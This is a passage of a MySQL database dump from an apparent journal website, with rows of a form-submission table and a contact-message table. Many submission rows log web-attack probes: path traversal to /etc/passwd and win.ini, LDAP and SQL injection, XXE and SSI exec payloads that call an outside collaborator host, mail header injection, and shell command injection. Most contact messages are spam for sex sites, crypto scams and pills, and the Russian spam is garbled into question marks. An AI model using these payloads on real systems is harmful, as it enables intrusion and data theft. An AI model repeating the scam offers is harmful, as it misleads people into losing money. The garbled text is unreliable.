17:13:49'),(127,'DR','Peter','c:\\windows\\win.ini','555-555-0199@example.com','Afghanistan','winter@example.com','555-555-0199','555-555-0199@example.com','','','Dentistry+and+Dental+Ailments+Journal','555-555-0199@example.com','1553427831.txt','2019-03-24 17:13:50'),(128,'DR','Peter','Winter..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini','555-555-0199@example.com','Afghanistan','winter@example.com','555-555-0199','555-555-0199@example.com','','','Dentistry+and+Dental+Ailments+Journal','555-555-0199@example.com','1553427833.txt','2019-03-24 17:13:52'),(129,'DR','Peter','..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.iniWinter','555-555-0199@example.com','Afghanistan','winter@example.com','555-555-0199','555-555-0199@example.com','','','Dentistry+and+Dental+Ailments+Journal','555-555-0199@example.com','1553427834.txt','2019-03-24 17:13:53'),(130,'DR','Peter','../../../../../../../../../../../../../../../../etc/passwd','555-555-0199@example.com','Afghanistan','winter@example.com','555-555-0199','555-555-0199@example.com','','','Dentistry+and+Dental+Ailments+Journal','555-555-0199@example.com','1553427835.txt','2019-03-24 17:13:54'),(131,'DR','Peter','/etc/passwd','555-555-0199@example.com','Afghanistan','winter@example.com','555-555-0199','555-555-0199@example.com','','','Dentistry+and+Dental+Ailments+Journal','555-555-0199@example.com','1553427836.txt','2019-03-24 17:13:55'),(132,'DR','Peter','Winter../../../../../../../../../../../../../../../../etc/passwd','555-555-0199@example.com','Afghanistan','winter@example.com','555-555-0199','555-555-0199@example.com','','','Dentistry+and+Dental+Ailments+Journal','555-555-0199@example.com','1553427838.txt','2019-03-24 17:13:57'),(133,'DR','Peter','../../../../../../../../../../../../../../../../etc/passwdWinter','555-555-0199@example.com','Afghanistan','winter@example.com','555-555-0199','555-555-0199@example.com','','','Dentistry+and+Dental+Ailments+Journal','555-555-0199@example.com','1553427839.txt','2019-03-24 17:13:59'),(134,'DR','Peter','.../Winter','555-555-0199@example.com','Afghanistan','winter@example.com','555-555-0199','555-555-0199@example.com','','','Dentistry+and+Dental+Ailments+Journal','555-555-0199@example.com','1553427841.txt','2019-03-24 17:14:01'),(135,'DR','Peter','6lje77847z)(objectClass=*','555-555-0199@example.com','Afghanistan','winter@example.com','555-555-0199','555-555-0199@example.com','','','Dentistry+and+Dental+Ailments+Journal','555-555-0199@example.com','1553427843.txt','2019-03-24 17:14:02'),(136,'DR','Peter','v5cnvlattr)(!(objectClass=*)','555-555-0199@example.com','Afghanistan','winter@example.com','555-555-0199','555-555-0199@example.com','','','Dentistry+and+Dental+Ailments+Journal','555-555-0199@example.com','1553427844.txt','2019-03-24 17:14:03'),(137,'DR','Peter','*)(objectClass=*','555-555-0199@example.com','Afghanistan','winter@example.com','555-555-0199','555-555-0199@example.com','','','Dentistry+and+Dental+Ailments+Journal','555-555-0199@example.com','1553427846.txt','2019-03-24 17:14:05'),(138,'DR','Peter','<uwy xss=removed xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://a.b/ http://azdrgd9851mk2jue8zcf44o5lwrrfr3jq9ey.burpcollaborator.net/uwy.xsd\">uwy</uwy>','555-555-0199@example.com','Afghanistan','winter@example.com','555-555-0199','555-555-0199@example.com','','','Dentistry+and+Dental+Ailments+Journal','555-555-0199@example.com','1553427972.txt','2019-03-24 17:16:11'),(139,'DR','Peter','<ylp xmlns:xi=\"http://www.w3.org/2001/XInclude\"><xi href=\"http://4ejlv7o2kv1ehd98ntr9jy3z0q6lumie54tt.burpcollaborator.net/foo\"></ylp>','555-555-0199@example.com','Afghanistan','winter@example.com','555-555-0199','555-555-0199@example.com','','','Dentistry+and+Dental+Ailments+Journal','555-555-0199@example.com','1553427974.txt','2019-03-24 17:16:13'),(140,'DR','Peter','Winter]]>><','555-555-0199@example.com','Afghanistan','winter@example.com','555-555-0199','555-555-0199@example.com','','','Dentistry+and+Dental+Ailments+Journal','555-555-0199@example.com','1553427976.txt','2019-03-24 17:16:16'),(141,'DR','Peter','Winter\'+(function(){if(typeof onm0g===\"undefined\"){var a=new Date();do{var b=new Date();}while(b-a&lt;20000);onm0g=1;}}())+\'','555-555-0199@example.com','Afghanistan','winter@example.com','555-555-0199','555-555-0199@example.com','','','Dentistry+and+Dental+Ailments+Journal','555-555-0199@example.com','1553427978.txt','2019-03-24 17:16:18'),(142,'DR','Peter','\"--&gt;\'--&gt;`--&gt;&lt;!--#set var=\"frt\" value=\"eqsv7h0cw5\"--&gt;&lt;!--#set var=\"htv\" value=\"gsux9j2ey7\"--&gt;&lt;!--#echo var=\"frt\"--&gt;&lt;!--#echo var=\"htv\"--&gt;&lt;!--#exec cmd=\"nslookup -q=cname 1dfiu4nzjs0bga85mqq6iv2wzn5itaryjl99y.burpcol','555-555-0199@example.com','Afghanistan','winter@example.com','555-555-0199','555-555-0199@example.com','','','Dentistry+and+Dental+Ailments+Journal','555-555-0199@example.com','1553427980.txt','2019-03-24 17:16:19'),(143,'DR','Peter','Winter\r\nBCC:031hk3dy9rqa69y4cpg58usvpmvhj9cx4ku8j@burpcollaborator.net\r\nbhy: n','555-555-0199@example.com','Afghanistan','winter@example.com','555-555-0199','555-555-0199@example.com','','','Dentistry+and+Dental+Ailments+Journal','555-555-0199@example.com','1553427982.txt','2019-03-24 17:16:22'),(144,'DR','Peter','Winter>\r\nBCC:e0fvhhac65no3nvi93dj58p9m0svgnab2ysmh@burpcollaborator.net\r\njot: s','555-555-0199@example.com','Afghanistan','winter@example.com','555-555-0199','555-555-0199@example.com','','','Dentistry+and+Dental+Ailments+Journal','555-555-0199@example.com','1553427983.txt','2019-03-24 17:16:23'),(145,'','','','','','','','','','','','','','2019-03-24 17:16:24'),(146,'DR','Peter','O:3:\"PDO\":0:{}','555-555-0199@example.com','Afghanistan','winter@example.com','555-555-0199','555-555-0199@example.com','','','Dentistry+and+Dental+Ailments+Journal','555-555-0199@example.com','1553427986.txt','2019-03-24 17:16:25'),(147,'DR','Peter','TzozOiJQRE8iOjA6e30=','555-555-0199@example.com','Afghanistan','winter@example.com','555-555-0199','555-555-0199@example.com','','','Dentistry+and+Dental+Ailments+Journal','555-555-0199@example.com','1553427987.txt','2019-03-24 17:16:26'),(148,'DR','Peter','Winter','555-555-0199@example.com','Afghanistan','winter@example.com','555-555-0199','555-555-0199@example.com','','','Dentistry+and+Dental+Ailments+Journal','555-555-0199@example.com','1553428112.m9ohhxg8lh','2019-03-24 17:18:31'),(149,'DR','Peter','Winter','555-555-0199@example.com','Afghanistan','winter@example.com','555-555-0199','555-555-0199@example.com','','','Dentistry+and+Dental+Ailments+Journal','555-555-0199@example.com','1553428113.txtkfx422veuq','2019-03-24 17:18:33'),(150,'DR','Peter','Winter','555-555-0199@example.com','Afghanistan','winter@example.com','555-555-0199','555-555-0199@example.com','','','Dentistry+and+Dental+Ailments+Journal','555-555-0199@example.com','1553428116.l\') from dual)','2019-03-24 17:18:35'),(151,'DR','Peter','Winter','555-555-0199@example.com','Afghanistan','winter@example.com','555-555-0199','555-555-0199@example.com','','','Dentistry+and+Dental+Ailments+Journal','555-555-0199@example.com','1553428117.l\') from dual)||\'','2019-03-24 17:18:36'),(152,'DR','Peter','Winter','555-555-0199@example.com','Afghanistan','winter@example.com','555-555-0199','555-555-0199@example.com','','','Dentistry+and+Dental+Ailments+Journal','555-555-0199@example.com','1553428119.xp_dirtree @q;-- ','2019-03-24 17:18:39'),(153,'DR','Peter','Winter','555-555-0199@example.com','Afghanistan','winter@example.com','555-555-0199','555-555-0199@example.com','','','Dentistry+and+Dental+Ailments+Journal','555-555-0199@example.com','1553428120.xp_dirtree @q;-- ','2019-03-24 17:18:40'),(154,'DR','Peter','Winter','555-555-0199@example.com','Afghanistan','winter@example.com','555-555-0199','555-555-0199@example.com','','','Dentistry+and+Dental+Ailments+Journal','555-555-0199@example.com','1553428123.xp_dirtree @q;-- ','2019-03-24 17:18:43'),(155,'DR','Peter','Winter','555-555-0199@example.com','Afghanistan','winter@example.com','555-555-0199','555-555-0199@example.com','','','Dentistry+and+Dental+Ailments+Journal','555-555-0199@example.com','1553428126.xp_dirtree @q;-- ','2019-03-24 17:18:46'),(156,'DR','Peter','Winter','555-555-0199@example.com','Afghanistan','winter@example.com','555-555-0199','555-555-0199@example.com','','','Dentistry+and+Dental+Ailments+Journal','555-555-0199@example.com','1553428129.snt\'))','2019-03-24 17:18:48'),(157,'DR','Peter','Winter','555-555-0199@example.com','Afghanistan','winter@example.com','555-555-0199','555-555-0199@example.com','','','Dentistry+and+Dental+Ailments+Journal','555-555-0199@example.com','1553428254.s4ocy${395*274}bcmfi','2019-03-24 17:20:53'),(158,'DR','Peter','Winter','555-555-0199@example.com','Afghanistan','winter@example.com','555-555-0199','555-555-0199@example.com','','','Dentistry+and+Dental+Ailments+Journal','555-555-0199@example.com','1553428256.cur4k{{896*225}}tjowd','2019-03-24 17:20:55'),(159,'DR','Peter','Winter','555-555-0199@example.com','Afghanistan','winter@example.com','555-555-0199','555-555-0199@example.com','','','Dentistry+and+Dental+Ailments+Journal','555-555-0199@example.com','1553428258.\"<rber3','2019-03-24 17:20:57'),(160,'DR','Peter','Winter','555-555-0199@example.com','Afghanistan','winter@example.com','555-555-0199','555-555-0199@example.com','','','Dentistry+and+Dental+Ailments+Journal','555-555-0199@example.com','1553428261.\"<wwalu','2019-03-24 17:21:00'),(161,'DR','Peter','Winter','555-555-0199@example.com','Afghanistan','winter@example.com','555-555-0199','555-555-0199@example.com','','','Dentistry+and+Dental+Ailments+Journal','555-555-0199@example.com','1553428263.\"<eoc1x','2019-03-24 17:21:03'),(162,'DR','Peter','Winter','555-555-0199@example.com','Afghanistan','winter@example.com','555-555-0199','555-555-0199@example.com','','','Dentistry+and+Dental+Ailments+Journal','555-555-0199@example.com','1553428265.to_i)+\'','2019-03-24 17:21:05'),(163,'DR','Peter','Winter','555-555-0199@example.com','Afghanistan','winter@example.com','555-555-0199','555-555-0199@example.com','','','Dentistry+and+Dental+Ailments+Journal','555-555-0199@example.com','1553428266.sleep(20)\',\'a\',\'single\'))+\'','2019-03-24 17:21:05'),(164,'DR','Peter','Winter','555-555-0199@example.com','Afghanistan','winter@example.com','555-555-0199','555-555-0199@example.com','','','Dentistry+and+Dental+Ailments+Journal','555-555-0199@example.com','1553428267.sleep(20)\',\'a\',\'single\'))','2019-03-24 17:21:07'),(165,'DR','Peter','Winter','555-555-0199@example.com','Afghanistan','winter@example.com','555-555-0199','555-555-0199@example.com','','','Dentistry+and+Dental+Ailments+Journal','555-555-0199@example.com','1553428269.\'','2019-03-24 17:21:08'),(166,'DR','Peter','Winter','555-555-0199@example.com','Afghanistan','winter@example.com','555-555-0199','555-555-0199@example.com','','','Dentistry+and+Dental+Ailments+Journal','555-555-0199@example.com','1553428394.net','2019-03-24 17:23:13'),(167,'DR','Peter','Winter','555-555-0199@example.com','Afghanistan','winter@example.com','555-555-0199','555-555-0199@example.com','','','Dentistry+and+Dental+Ailments+Journal','555-555-0199@example.com','1553428396.txt','2019-03-24 17:23:16'),(168,'DR','Peter','Winter','555-555-0199@example.com','Afghanistan','winter@example.com','555-555-0199','555-555-0199@example.com','','','Dentistry+and+Dental+Ailments+Journal','555-555-0199@example.com','1553428401.&','2019-03-24 17:23:20'),(169,'DR','Peter','Winter','555-555-0199@example.com','Afghanistan','winter@example.com','555-555-0199','555-555-0199@example.com','','','Dentistry+and+Dental+Ailments+Journal','555-555-0199@example.com','1553428403.&`\'','2019-03-24 17:23:23'),(170,'DR','Peter','Winter','555-555-0199@example.com','Afghanistan','winter@example.com','555-555-0199','555-555-0199@example.com','','','Dentistry+and+Dental+Ailments+Journal','555-555-0199@example.com','','2019-03-24 17:23:26'),(171,'DR','Peter','Winter','555-555-0199@example.com','Afghanistan','winter@example.com','555-555-0199','555-555-0199@example.com','','','Dentistry+and+Dental+Ailments+Journal','555-555-0199@example.com','1553428408.txt|echo 3mljsl4pyq funxzq7rh5||a #\' |echo 3mljsl4pyq funxzq7rh5||a #|\" |echo 3mljsl4pyq funxzq7rh5||a #','2019-03-24 17:23:28'),(172,'DR','Peter','Winter','555-555-0199@example.com','Afghanistan','winter@example.com','555-555-0199','555-555-0199@example.com','','','Dentistry+and+Dental+Ailments+Journal','555-555-0199@example.com','1553428410.txt&echo ywlqho4029 jb41e6lbnx&','2019-03-24 17:23:30'),(173,'DR','Peter','Winter','555-555-0199@example.com','Afghanistan','winter@example.com','555-555-0199','555-555-0199@example.com','','','Dentistry+and+Dental+Ailments+Journal','555-555-0199@example.com','1553428411.txt\"|echo uxp99fvdf1 frfv4s7wkj ||','2019-03-24 17:23:31'),(174,'DR','Peter','Winter','555-555-0199@example.com','Afghanistan','winter@example.com','555-555-0199','555-555-0199@example.com','','','Dentistry+and+Dental+Ailments+Journal','555-555-0199@example.com','1553428413.txt\'|echo btjz7jdsun yz17gd5ull #xzwx','2019-03-24 17:23:32'),(175,'DR','Peter','Winter','555-555-0199@example.com','Afghanistan','winter@example.com','555-555-0199','555-555-0199@example.com','','','Dentistry+and+Dental+Ailments+Journal','555-555-0199@example.com','','2019-03-24 17:23:34'),(176,'DR','Peter','Winter','555-555-0199@example.com','Afghanistan','winter@example.com','555-555-0199','555-555-0199@example.com','','','Dentistry+and+Dental+Ailments+Journal','555-555-0199@example.com','1553428540.ini','2019-03-24 17:25:39'),(177,'DR','Peter','Winter','555-555-0199@example.com','Afghanistan','winter@example.com','555-555-0199','555-555-0199@example.com','','','Dentistry+and+Dental+Ailments+Journal','555-555-0199@example.com','1553428541.ini','2019-03-24 17:25:41'),(178,'DR','Peter','Winter','555-555-0199@example.com','Afghanistan','winter@example.com','555-555-0199','555-555-0199@example.com','','','Dentistry+and+Dental+Ailments+Journal','555-555-0199@example.com','1553428543.ini','2019-03-24 17:25:42'),(179,'DR','Peter','Winter','555-555-0199@example.com','Afghanistan','winter@example.com','555-555-0199','555-555-0199@example.com','','','Dentistry+and+Dental+Ailments+Journal','555-555-0199@example.com','1553428545.ini','2019-03-24 17:25:44'),(180,'DR','Peter','Winter','555-555-0199@example.com','Afghanistan','winter@example.com','555-555-0199','555-555-0199@example.com','','','Dentistry+and+Dental+Ailments+Journal','555-555-0199@example.com','1553428551.passwd','2019-03-24 17:25:51'),(181,'DR','Peter','Winter','555-555-0199@example.com','Afghanistan','winter@example.com','555-555-0199','555-555-0199@example.com','','','Dentistry+and+Dental+Ailments+Journal','555-555-0199@example.com','1553428554.passwd','2019-03-24 17:25:54'),(182,'DR','Peter','Winter','555-555-0199@example.com','Afghanistan','winter@example.com','555-555-0199','555-555-0199@example.com','','','Dentistry+and+Dental+Ailments+Journal','555-555-0199@example.com','1553428555.passwd','2019-03-24 17:25:55'),(183,'DR','Peter','Winter','555-555-0199@example.com','Afghanistan','winter@example.com','555-555-0199','555-555-0199@example.com','','','Dentistry+and+Dental+Ailments+Journal','555-555-0199@example.com','1553428558.passwd','2019-03-24 17:25:58'),(184,'DR','Peter','Winter','555-555-0199@example.com','Afghanistan','winter@example.com','555-555-0199','555-555-0199@example.com','','','Dentistry+and+Dental+Ailments+Journal','555-555-0199@example.com','1553428560.txt','2019-03-24 17:26:00'),(185,'DR','Peter','Winter','555-555-0199@example.com','Afghanistan','winter@example.com','555-555-0199','555-555-0199@example.com','','','Dentistry+and+Dental+Ailments+Journal','555-555-0199@example.com','1553428562.bj121je3gf)(objectClass=*','2019-03-24 17:26:01'),(186,'DR','Peter','Winter','555-555-0199@example.com','Afghanistan','winter@example.com','555-555-0199','555-555-0199@example.com','','','Dentistry+and+Dental+Ailments+Journal','555-555-0199@example.com','1553428702.gst>','2019-03-24 17:28:21'),(187,'DR','Peter','Winter','555-555-0199@example.com','Afghanistan','winter@example.com','555-555-0199','555-555-0199@example.com','','','Dentistry+and+Dental+Ailments+Journal','555-555-0199@example.com','1553428829.txt','2019-03-24 17:30:29'),(188,'DR','Peter','Winter','555-555-0199@example.com','Afghanistan','winter@example.com','555-555-0199','555-555-0199@example.com','','','Dentistry+and+Dental+Ailments+Journal','555-555-0199@example.com','1553428832.txt','2019-03-24 17:30:32'),(189,'DR','Peter','Winter','555-555-0199@example.com','Afghanistan','winter@example.com','555-555-0199','555-555-0199@example.com','','','Dentistry+and+Dental+Ailments+Journal','555-555-0199@example.com','1553428834.txt','2019-03-24 17:30:34'),(190,'DR','Peter','Winter','555-555-0199@example.com','Afghanistan','winter@example.com','555-555-0199','555-555-0199@example.com','','','Dentistry+and+Dental+Ailments+Journal','555-555-0199@example.com','1553428838.txt','2019-03-24 17:30:38'),(191,'DR','Peter','Winter','555-555-0199@example.com','Afghanistan','winter@example.com','555-555-0199','555-555-0199@example.com','','','Dentistry+and+Dental+Ailments+Journal','555-555-0199@example.com','1553428840.txt','2019-03-24 17:30:40'),(192,'DR','Peter','Winter','555-555-0199@example.com','Afghanistan','winter@example.com','555-555-0199','555-555-0199@example.com','','','Dentistry+and+Dental+Ailments+Journal','555-555-0199@example.com','1553428844.txt','2019-03-24 17:30:44');

/*Table structure for table `msg_list` */

DROP TABLE IF EXISTS `msg_list`;

CREATE TABLE `msg_list` (
  `m_id` int(11) NOT NULL AUTO_INCREMENT,
  `uname` varchar(250) DEFAULT NULL,
  `uemail` varchar(250) DEFAULT NULL,
  `msg` text,
  `date` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
  PRIMARY KEY (`m_id`)
) ENGINE=InnoDB AUTO_INCREMENT=192 DEFAULT CHARSET=latin1;

/*Data for the table `msg_list` */

insert  into `msg_list`(`m_id`,`uname`,`uemail`,`msg`,`date`) values (1,'vasudevareddy','vasudevareddy549@gmail.com','testing  purpose','2019-03-04 21:46:37'),(2,'testing','vasudevareddy549@gmail.com','hello hi  ','2019-03-04 22:44:04'),(3,'Prudhvi','prudhvi0417@gmail.com','hi','2019-03-04 22:46:00'),(4,'vasudevareddy','vasu@gmail.com','hi hello this is a sample message','2019-03-04 23:02:37'),(5,'Prudhvi','prudhvi0417@gmail.com','Hi','2019-03-04 23:04:28'),(6,'Chikku','chikkunehru@gmail.com','Adsf','2019-03-04 23:30:01'),(7,'Elizabeth','liznoge19@outlook.com','Please, I would like to inquire if this journal is indexed in the SCI.\r\nThank you','2019-03-05 09:00:29'),(8,'','','','2019-03-05 12:36:05'),(9,'Williamzet','kickinbahamian@hotmail.com','Sexy girls for the night in your town: https://arill.us/bestsexygirldating97443','2019-03-05 17:43:25'),(10,'MiguelSar','scrodem14@hotmail.com','The best girls for sex in your town: http://rih.co/bestsexygirldating59612','2019-03-05 17:43:38'),(11,'RobertSox','katattack@yahoo.com','The best women for sex in your town: http://rih.co/bestsexygirldating77539','2019-03-05 19:19:49'),(12,'JavierDug','vspeller18@yahoo.com','Beautiful women for sex in your town: https://lil.ink/bestsexygirldating76214','2019-03-06 05:21:15'),(13,'Donaldvig','formforsome@yandex.ua','Hello! \r\n \r\nDo you know how to get +10% in bitcoins during your coffee break? \r\nSpend this time with benefits. \r\n \r\nMake fast donation to http://dcbtc.club and get automatically payout to your wallet after two days. \r\n \r\nFor example, you donate 100$ in btc today, so you automatically get 110$ day after tomorrow. \r\nReward will come directly to your btc wallet. \r\n \r\nTry and get reward! \r\n \r\nBowered by Blockchain technology.','2019-03-06 09:49:47'),(14,'Leslienal','mcevoybuilding@gmail.com','Confirm that you are not a robot, and find out very interesting \r\n \r\nhttp://bit.ly/2EQ9cTs','2019-03-07 02:49:54'),(15,'RobertSox','pahope66@aol.com','The best women for sex in your town: https://aaa.moda/bestsexygirlsdating57155','2019-03-07 04:07:10'),(16,'Williamzet','angel66433@hotmail.com','The best girls for sex in your town: http://tropaadet.dk/bestsexygirlsdating43405','2019-03-07 04:21:58'),(17,'MiguelSar','tarundel@hotmail.com','Beautiful women for sex in your town: http://tropaadet.dk/bestsexygirlsdating32055','2019-03-07 06:13:03'),(18,'JavierDug','d_rbon@yahoo.com','Meet sexy girls in your city: http://rih.co/bestsexygirlsdating50435','2019-03-07 08:14:11'),(19,'MiguelSar','yaok@hotmail.com','Best cryptocurrency to Invest 2019: http://corta.co/cryptoinvestbitcoin90130','2019-03-08 03:33:16'),(20,'RobertSox','eveling.garcia@yahoo.com','How You Can Make $100,000 Every Month Trading Forex: http://to.ht/cryptoinvestbitcoin89571','2019-03-08 04:29:44'),(21,'JavierDug','nchung@gmail.com','Comment gagner 3000 € par jour: http://www.vkvi.net/cryptoinvestbitcoin61367','2019-03-08 06:53:02'),(22,'Williamzet','jonata@rcn.com','Wie man aus ?‚¬ 3.000 ?‚¬ 128.000 macht: https://arill.us/cryptoinvestbitcoin59930','2019-03-08 16:06:48'),(23,'isojixi','tnueno@iennfdd.com','http://theprettyguineapig.com/amoxicillin/ - Amoxicillin No Prescription <a href=\"http://theprettyguineapig.com/amoxicillin/\">Amoxicillin 500 Mg</a> http://theprettyguineapig.com/amoxicillin/','2019-03-08 20:19:48'),(24,'ogujimei','cikawoza@iennfdd.com','http://theprettyguineapig.com/amoxicillin/ - Amoxicillin Online <a href=\"http://theprettyguineapig.com/amoxicillin/\">Amoxicillin 500mg</a> http://theprettyguineapig.com/amoxicillin/','2019-03-08 20:29:14'),(25,'KevinGratt','goonieman1953@yahoo.com','Best cryptocurrency to Invest 2019: http://www.lookweb.it/cryptoinvestbitcoin36304','2019-03-08 21:11:34'),(26,'arugpojiqiro','fiselewun@mailerraas.com','http://theprettyguineapig.com/amoxicillin/ - Generic Amoxicillin 500 Mg <a href=\"http://theprettyguineapig.com/amoxicillin/\">Amoxicillin 500 Mg</a> http://theprettyguineapig.com/amoxicillin/','2019-03-08 23:56:21'),(27,'eyoezupauxabi','oxiqurude@mailerraas.com','http://theprettyguineapig.com/amoxicillin/ - Amoxicillin <a href=\"http://theprettyguineapig.com/amoxicillin/\">Amoxicillin Online</a> http://theprettyguineapig.com/amoxicillin/','2019-03-09 00:07:23'),(28,'Santosjum','jbgoldsberry@yahoo.com','Forex Trader predicts and makes $10,000 less than 3 hours: http://perkele.ovh/cryptoinvestbitcoin37998','2019-03-09 00:28:49'),(29,'apixorisaarat','iaducifot@mailrrpost.com','http://theprettyguineapig.com/amoxicillin/ - Amoxicillin 500 Mg <a href=\"http://theprettyguineapig.com/amoxicillin/\">Amoxicillin 500 Mg</a> http://theprettyguineapig.com/amoxicillin/','2019-03-09 05:58:19'),(30,'umumaro','ibedeg@mailrrpost.com','http://theprettyguineapig.com/amoxicillin/ - Amoxicillin 500mg Capsules <a href=\"http://theprettyguineapig.com/amoxicillin/\">Buy Amoxicillin Online</a> http://theprettyguineapig.com/amoxicillin/','2019-03-09 06:12:14'),(31,'KelAnycle','kelGymn@emaill.host','Viagra Quel Prix  <a>where to buy cialis online safely</a> Kamagra Test  ','2019-03-09 10:39:27'),(32,'MiguelSar','murrayrubin@msn.com','10 Best Cryptocurrency to Invest in 2019: http://www.abcagency.se/bestinvestcryptobitcoin23960','2019-03-10 01:45:25'),(33,'Williamzet','rtasse@sympatico.ca','Was ist der einfachste Weg, um ?‚¬ 3000 pro Monat zu verdienen?: https://arill.us/bestinvestcryptobitcoin46656','2019-03-10 05:22:53'),(34,'JavierDug','crtnynn@yahoo.com','Comment gagner 10 000 € par jour FAST: http://rih.co/bestinvestcryptobitcoin61563','2019-03-10 05:51:01'),(35,'DanielQueew','harrispascual@yahoo.com','Was ist der einfachste Weg, um ?‚¬ 3000 pro Monat zu verdienen?: http://yourls.site/bestinvestcryptobitcoin60894','2019-03-11 10:19:03'),(36,'Kevinhaw','frame53166@gmail.com','Hey, \r\n \r\nThat\'s quite an stunning site I\'ve got into, while was looking thru a web. Not much, just some <a>ameature porn sites</a>  here :) \r\n \r\nHave a good day!','2019-03-11 11:42:43'),(37,'KevinGratt','thetike@hotmail.com','Top cryptocurrencies to invest in 2019: https://aaa.moda/bestinvestcryptobitcoin53300','2019-03-11 13:07:39'),(38,'Migueldaype','kantonatos@aol.com','J\'ai 23 000 €. Comment l\'utiliser au mieux pour gagner plus d\'argent: http://www.lookweb.it/bestinvestcryptobitcoin22584','2019-03-11 13:10:11'),(39,'Jadopamgoove','jadopamsxz@gmailu.ru',' \r\n??????? ?????? ?????????? ????? ?????? ?? ????? ??????????? ??????? ??????? ?? ????? ?????? ???????????. \r\n \r\n? ??????? ??????? ?????? ?? ???????? ? ??????? ?????????? ???????? ? ??????? ?????????? ???????? ?????? ????? ? ????????? ????????? ???????? ?? ??????????? ? ???????????. ??? ??????? ?????? ????? 30-? ??? ???????????? ??????? ?? ????????????? ? ???????????. \r\n \r\n?????????? ?????? ????? ??????????? ????????? - ?? ??????????? 2017 ???? ? ????-??? ??? ????????? 29 ??????? ??????. \r\n \r\n? ??????? ??????? ?????? ???????? ????? ??????????? ?????????? ?????? ??????????? ? ???????????, ? ?????? ?????????? ??????????? ?? ?????? ?????? 30 ???????, 30 ?????????? ? 24 ????????? ???????. \r\n \r\n?????? ????? ???????? ??????? ????? ????? (6-3-4), ???????? ???? ????????? (3-1-0). ??????????? ?????????? 12 ?????. \r\n \r\n?????? ?? ?????? ?????? ??????? ????????? ?????? ?? ??????? 50% ? ????? ?????????: \r\n<a>http://amcocker.in.ua/forum/?PAGE_NAME=profile_view&UID=37179</a>\r\n<a>https://akb-oil.ru/communication/forum/user/1034/</a>\r\n<a>http://old.uksrb.ru/forum/?PAGE_NAME=profile_view&UID=56217</a>\r\n<a>http://service.gepart.su/forum/index.php?PAGE_NAME=profile_view&UID=7581</a>\r\n<a>http://photorange.ru/forum/index.php?PAGE_NAME=profile_view&UID=21381</a>\r\n','2019-03-12 08:07:33'),(40,'MiguelSar','wjburton@msn.com','Senuke TNG Review and SUPER HOT Bonus: http://valeriemace.co.uk/bestseotools26506','2019-03-12 10:15:05'),(41,'Williamzet','mjbado@msn.com','How to make $3000 a day: http://go.fireontherim.com/milliondollars37863','2019-03-12 12:23:11'),(42,'JavierDug','spfloyd@hotmail.com','Turning $10,000 into $1 Million in Forex | DailyForex: http://jnl.io/milliondollarsforex66533','2019-03-12 13:57:34'),(43,'KevinGratt','fwroten@charter.net','The Power of Senuke TNG Linkbuilding software: https://lil.ink/bestseotools39127','2019-03-13 05:03:12'),(44,'DanielQueew','risingsun@caltel.com','How To Make Extra Money From Home - $3000 Per Day Easy: http://webhop.se/milliondollars39225','2019-03-13 10:12:42'),(45,'Migueldaype','carolmiller10@hotmail.com','Forex 1000 To 1 Million – Turning $10,000 into $1 Million in Forex: http://www.abcagency.se/milliondollarsforex60361','2019-03-13 13:26:44'),(46,'Faezeh','faezeh.alemi@gmail.com','Does journal of gastroenterology and digestive disorders have an ISSN number?','2019-03-13 15:44:19'),(47,'WoodrowIrott','mega-geamers@gmailu.ru','?????? ????? ?? ???????????? ????? ????? ??? ????????? ???????????? ??????. ???? ?? ?????? ????? ????????? ????????, ??? ??????? ?????????? ??????, ???????? ??????????? ???? ? ??????-??????. ?????????? ????? ????? ????????? ?????, ??? ??? ?????. ? ??????? ???????? ?? ?????? ?????? ??????? ??? ???????, ??? ? ????????. ?????????? ????? ????? ???????????? ?? ??????? ????????? ???????????? ??????. ?????????? ???????????? ????? ??????????? ??????????? ????, ????? ?????? ???????? ??????????? ?? ???????? ????????. \r\n \r\n??????? ????? ?? ????????? ????????, ??? ?? ?????? ?????? ? ?????? ??????? ????? ?? ???????? ????????, ???????? ???? club-igrovyih-avtomatov.ru, ??? ???????? ????? ??????? ????????? ? <a>?????? ???? ?????? ??????</a> . ?? ????? ???????? ??????? ???????? ?? NetEnt, Igrosoft, Novomatic ? ?????? ????????????? ?????. ?? ? ?????? ????? ?????? ?????? ? ??????-??????, ??? ??? ??????????? ????? ????? ?? ??????? ???????? ????????. ???????????? ??????? ?????????? ?????, ? ??????? ???????? ??????. ?? ?????? ?????? ? Fruit Cocktail, Aztec Gold, Bubbles ? ?????? ?????. \r\n \r\n?? ??????? ??????????? ??????? ?????????. ????????????? ?????? ????? ????, ??? ?? ?????? ?????? ? ??????-?????? – ?????????? ???. ?? ??????? ????? ????? ???? ?????? ????????? ? ????? ?? ??????. ?? ??????? ??????? ??????? ???, ??? ??????? ?????? ?????. ?????? ????? ???????? ?????? ? ???????????? ?? ??? ??????? ???????? ????????. ?? ?????? ????? ???? ? ??????? ?????, ???????????? ?????? ? ??? ??????? ?????? ???????? ??. ?? ?????? ?????? ????? ????????????? ?????????? ????????? ???????, ????? ??????? WebMoney, PayPal, Skrill ? ??????. ? ??????????? ??? ????? ?????? ??????? ??????, ??? ??, ????????, ??? ??????? ?????? ?? ??????. ??? ????? ??? ???? ?????? ???????????. \r\n \r\n?????? ?? club-igrovyih-avtomatov.ru ?? ?????? ? ???????? ??? ???????. ???? ? ??? ???? ??????? ?????? ?? ???????? ??????? ? <a>novomatic</a> , ?? ?????? ??????????? ???????? ???? ???? ? Coin Dozer ??? PokerStars Poker, ??? ?????? ????? ???? ? ???????? ?? Android ??? iOS. ??????? ????? ????? ????? ???? ? ??????? ???????? ? ????????? ????????. ????? ????? ???????????? ?????? ? ??????? ???????? ? ????, ????????? ????? ?????? ???????????? ??????? ????????? ? ??????. ???? ??? ????, ????? ?? ????? ??????, ??? ???? ????? ???? ????? ?????? ? ???????. \r\n \r\n????? ????????, ??? ?? ?????? ????? ????????? ??????? ? ????????? ??????????. ??????? ?????? ?????????? ????????????? ??????????? ? ???????? ? ???????? ?? ??? ??????. ?? ?????? ??????? ??????? ??????? ????????????? ??? casino. ?? ??? ??????? ????? ???????? ????????????? ???????. ???? ? ??? ?????????? ?????? ???? ????????????? ???????, ??? ???? ?????????? ? ??????????. ??????????? ???????? ??????? ? ???????????????? ???. \r\n \r\n?? club-igrovyih-avtomatov.ru ?????? ?? ?????? 